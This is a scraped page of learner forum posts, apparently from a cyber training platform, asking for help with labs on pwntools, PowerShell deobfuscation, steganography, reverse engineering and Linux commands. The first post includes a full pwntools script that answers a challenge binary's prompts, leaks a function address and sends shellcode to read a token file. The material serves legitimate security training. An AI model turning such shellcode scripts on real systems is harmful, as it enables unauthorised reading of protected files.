Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills
I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immersivelabs/comments/1ap3tub/pwntools_ep_6_demonstrate_your_skills/) but it is still not working. Could you please help me with this if possible shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) is what I tried from pwn import * import struct # Start the challenge binary p = process("/opt/demonstrate-challenge") # Use the correct path # === Part 1: Solve Arithmetic Challenge === p.recvuntil(b"What is the sum of ") numbers = p.recvline().decode().strip().split(" and ") num1 = int(numbers[0]) num2 = int(numbers[1].split("?")[0]) print(f"[+] Solving: {num1} + {num2} = {num1 + num2}") p.sendline(str(num1 + num2)) # === Part 2: Solve Packing Challenge === p.recvuntil(b"Send me back the following two 32-bit unsigned integers packed in little-endian order:\n") values = p.recvline().decode().strip().split(" and ") val1 = int(values[0]) val2 =int(values[1]) print(f"[+] Packing values: {val1} and {val2}") payload = struct.pack("<II", val1, val2) p.send(payload) # === Part 3: Leak Address of parsing_check() === elf = ELF("/opt/demonstrate-challenge") # Load the ELF binary parsing_check_addr = elf.symbols['parsing_check'] # Get function address print(f"[+] Found parsing_check() address: {hex(parsing_check_addr)}") p.sendline(str(parsing_check_addr)) # === Part 4: Send Shellcode to Read /home/token-user/token.txt === file_path = '/home/token-user/token.txt' shellcode = shellcraft.cat2(file_path, 1, 40) # Pwntools shellcode shellcode += shellcraft.ret() # Ensure proper return assembled_shellcode = asm(shellcode) p.send(assembled_shellcode) # === Get Flag Output === response = p.recvall() print(response)
PowerShell Deobfuscation: Ep 8 help
I have been stuck on this EP for a week and haven't been able to progress. I am hoping someone can give me a hint to help me get through this one. Here is what I have done so far. I take the original encoded message and apply "FromBase64" and then "Raw Inflate" and I get the following data: You can see it outputs another command that also needs to decoded using the same steps above. That output gives you this... It outputs a string of characters but no obvious way to get this readable. I have tried bit-shifting, rotating characters, and a bunch of other tests and nothing has shown me anything that is remotely readable. I assume I am missing something simple but every time I read it back through, I don't see what I missed. Any help you can provide would be greatly appreciated.Your first lab level 9
What was the first level 9 lab you conquered? :). It does not matter that you will seek advice from other giants, or that you will manage to complete it on your own: share your journey with us!; to get the token or become root on that server. I start: I think that my first conquest of Lab level 9 is related to debugging ByteCode in Java (and only a few days ago!): my background is Oracle, and from years ago, so imagine how lost I was :). After loading the project into the IDE (along with the required plugin) I started debugging bit by bit... until one particular string caught my attention; it stood out from the rest!. And it was the solution :). Good luck!
Historic Steganography Lab
I've been stuck on question 6 in the Stenography lab within the Historic Encryption upskill series. I'm not sure if I'm missing something within the command line or if the password/passphrase for the file is wrong. The password/passphrase is supposed to be "carnivale" Here are some screenshots to help zero in where I'm at. Thanks all!
Threat Research: AMPscript Analysis
This is one of those labs that I return to periodically and then abandon after half an hour whilst scratching my head........Does anyone have any pointers about how to approach this? Which fields need to be populated in the webform? & which Test Contact Key is used? The one that's prepopulated: acb1730c-c3dc-4c1a-ad3d-207216370def or the one in the briefing: e2e6555a-64a5-43ed-984e-1d342780b72f many thanks in advance - GusHow to use Immersive cyber ranges for cyber threat research?
Want to know how to take advantage of the cyber ranges platform to do malware and adversary research in a sandboxed environment? In this post, I’ll walk you through how to get access to the Heimdall Detection Engineering template for CTI so you can do just that! The Heimdall template is a domain-joined range that contains workstations, a domain controller, and security tooling that you’d ordinarily find in a real network. The purpose of this template is to enable cyber threat research, where you can launch attacks and malware, capture indicators of compromise through tools like Velociraptor, a SIEM network packet capture tool, and some analyst workstations with a bunch of analysis and reverse engineering tools. With that said, let’s get started. Firstly, you’ll need to go to the cyber ranges sign-up page and sign up with a name and email address. After hitting “Sign up”, you’ll need to go to your email and find the confirmation email to get your credentials, then go back to the cyber ranges website and log in with your new credentials. After signing in, you’ll be in the main ranges dashboard. You’ll need to connect your own Amazon Web Services (AWS) account to use ranges, as provisioning machines will cost money for every hour that they are active or stored. Once you’ve connected your AWS account, you can then go to “Range Templates” and launch the Heimdall range.Help again Linux CLI: Ep.16 – Combining Commands
I feel like I'm banging my head against the wall with the last 2 questions of this lab. I've been stuck on question 5 for the grep command. Any hints of what am I doing wrong? missing? And then the last question to run sleep. Huh? Is there a command to combine with the sleep 600? Any help would be appreciated. So I can finally do the last lab for Linux. =)
Radare2 Reverse Engineering: Ep.1 – Windows Binary Part 1
I have managed to find the answers to all of the questions within this lab except for question 6. I can not seem to figure out the appropriate step(s) or action(s) to take find the correct answer for this question. Any insight or guidance on what I'm missing / doing incorrectly and how to correct it would be greatly appreciated. I have provided a few screenshots for reference. Thanks in advance.
